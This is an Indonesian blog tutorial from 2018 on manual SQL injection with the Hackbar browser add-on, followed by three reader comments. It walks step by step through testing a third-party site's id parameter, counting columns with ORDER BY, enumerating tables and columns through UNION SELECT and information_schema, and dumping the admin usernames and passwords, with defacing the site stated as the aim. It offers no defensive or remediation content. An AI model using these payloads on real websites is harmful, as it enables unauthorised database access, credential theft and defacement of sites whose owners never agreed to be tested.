Sunday 18 February 2018

SQL Injection manual menggunakan hackbar

Tags



Assalamualaikum..

haloo gan kembali lagi dengan saya D4rk_Cyb3r. Biasa kalo dipanggil nengok :v Kali ini saya akan membagikan tutorial SQL Injection Manual menggunakan Hackbar. Selamat membaca!


{ Pengertian }

Sebelumnya saya akan mengenalkan apa itu SQL Injection. Menurut Tante Wikipedia, SQL Injection adalah sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa pemrograman lain.

Masih bingung? Oke kita sama :v Udah ah cukup basa-basinya. Langsung aja ini dia!!


{ Test Vuln }

Pertama, kita harus mencari target terlebih dahulu. Banyak cara untuk mencari target, salah satunya adalah dengan dorking. Dan disini saya sudah memiliki target yaitu : https://www.acme.in/contentpage.php?id=1


Kita sudah berada di halaman web target. Sekarang, kita tambahkan ' di ujung URL web target kita tadi. Kemudian klik tombol Execute yang berada di pojok kiri atas. Atau kalau mau cepet, tekan Alt+X.



Setelah kita tambahkan ' tadi, tampilan web berubah dan muncul teks baru yang bertuliskan :
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
Teks di atas adalah salah satu pesan error yang menunjukkan bahwa web tersebut memiliki celah SQL Injection. Yess error..


{ Order By }

Tahap berikutnya adalah Order By. Tahap ini bertujuan untuk mengetahui berapa jumlah column database web tersebut. Begini caranya :
  • https://www.acme.in/contentpage.php?id=1' order by 1-- - (web kembali normal)
  • https://www.acme.in/contentpage.php?id=1' order by 2-- - (web masih normal)
  • https://www.acme.in/contentpage.php?id=1' order by 3-- - (masih normal)
  • https://www.acme.in/contentpage.php?id=1' order by 4-- - (masih)
  • https://www.acme.in/contentpage.php?id=1' order by 5-- - (normal)
  • https://www.acme.in/contentpage.php?id=1' order by 6-- - (lagi)
  • https://www.acme.in/contentpage.php?id=1' order by 7-- - (lagi-lagi normal)
  • https://www.acme.in/contentpage.php?id=1' order by 8-- - (oke i'm fine)
  • https://www.acme.in/contentpage.php?id=1' order by 9-- - (-_-)
  • https://www.acme.in/contentpage.php?id=1' order by 10-- - (error)
Nahh ketika menggunakan perintah order by 10-- -, web menunjukkan pesan error :

 Unknown column '10' in 'order clause'


Itu artinya, web tersebut hanya memiliki 9 column database. Jadi kesimpulannya, tujuan dari Order By ini adalah mengurutkan angka sampai web tersebut error kembali.


{ Union Select }

Langkah selanjutnya, adalah tahap Union Select. Tahap ini bertujuan untuk mengurutkan jumlah column database yang kita dapatkan dari tahap Order By.

Jadi, di tahap sebelumnya kita mengetahui jumlah seluruh column database ada 9, maka perintahnya menjadi begini : https://www.acme.in/contentpage.php?id=-1' union select 1,2,3,4,5,6,7,8,9-- -.
Angka 1,2,3,4,5,6,7,8,9 itu adalah jumlah column database yang kita cari tadi. Dan jangan lupa tambahkan tanda - di belakang angka parameternya.








Setelah itu, halaman web kembali berubah dan mucul angka 2 dan 3. Kedua angka ini bisa dibilang sebagai  pintu masuk kita untuk mengetahui isi dari database web tersebut.

Pilih salah satu angka, disini saya pilih angka 3. Kemudian, ganti angka 3 tersebut dengan perintah :  group_concat(table_name) dan masukkan perintah : from information_schema.tables where table_schema=database() di depan angka 9. Jadinya begini : https://www.acme.in/contentpage.php?id=-1' union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()-- -.



Bisa kita lihat, angka 3 berubah menjadi : adminlogin,banner,contentpage,default,event,event_category,location,management,mediakit,page,pressdetail,pressrelease. Itu adalah nama-nama table dari web tersebut.

Selanjutnya, kita mencoba untuk melihat isi table-tabe tersebut. Kalau kita bertujuan untuk deface, maka kita harus mencari username dan password admin dari web tersebut. Disini kita harus memakai feeling, table mana yang berisi username dan password admin. Karena wajah saya yang tampan dan baik hati serta rajin menabung, feeling saya mengatakan table : adminlogin.

Selanjutnya, kita ubah group_concat(table_name) menjadi group_concat(column_name) dan from information_schema.tables where table_schema= ubah menjadi from information_schema.columns where table_name=. Lalu, database() kita ganti menjadi adminlogin yang sudah kita ubah dengan desimal. Caranya dengan klik : SQL BASICS > CHAR() > MySQL CHAR(). Akan muncul pop-up JavaScript, lalu masukkan nama table : adminlogin. Maka nanti akan berubah menjadi : CHAR(97, 100, 109, 105, 110, 108, 111, 103, 105, 110). Jadi, semua seperti ini : https://www.acme.in/contentpage.php?id=-1' union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 108, 111, 103, 105, 110)-- -.





Nahh, ternyata benar feeling saya tadi. Table adminlogin berisi username dan password admin. Sekarang, kita dump column username dan password tersebut. Caranya, kita ubah group_concat(column_name) menjadi group_concat(username,0x203a3a3a20,password) dan ubah juga from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 108, 111, 103, 105, 110)-- - menjadi from adminlogin. Semuanya jadi gini : https://www.acme.in/contentpage.php?id=-1' union select 1,2,group_concat(username,0x203a3a3a20,password),4,5,6,7,8,9 from adminlogin-- -.



Yuhuu.. Kita sudah berhasil mendapatkan username dan password admin. Sekarang, tinggal gunakan ketampanan kalian untuk mencari halaman login admin.


{ Penutup }

Okee sekian artikel kali ini. Itulah tadi sekilas mengenai tutorial SQL Injection Manual menggunakan Hackbar.
terima kasih sudah berkunjung, Selamat beraktifitas ^_^
Wassalamualaikum..

 Source : kha-tutorial.blogspot.co.id

Artikel Terkait

3 comments

min terimakasih sebelumnya, boleh di share link hackbarnya? atau share nama hackbarnya. terimakasih min sehat selalu

wah dapet ilmu baru, hrs dipelajari lagi nih buat website kita lebih aman hehe

semoga di buatkan versi android min,terimakasih ilmunya


EmoticonEmoticon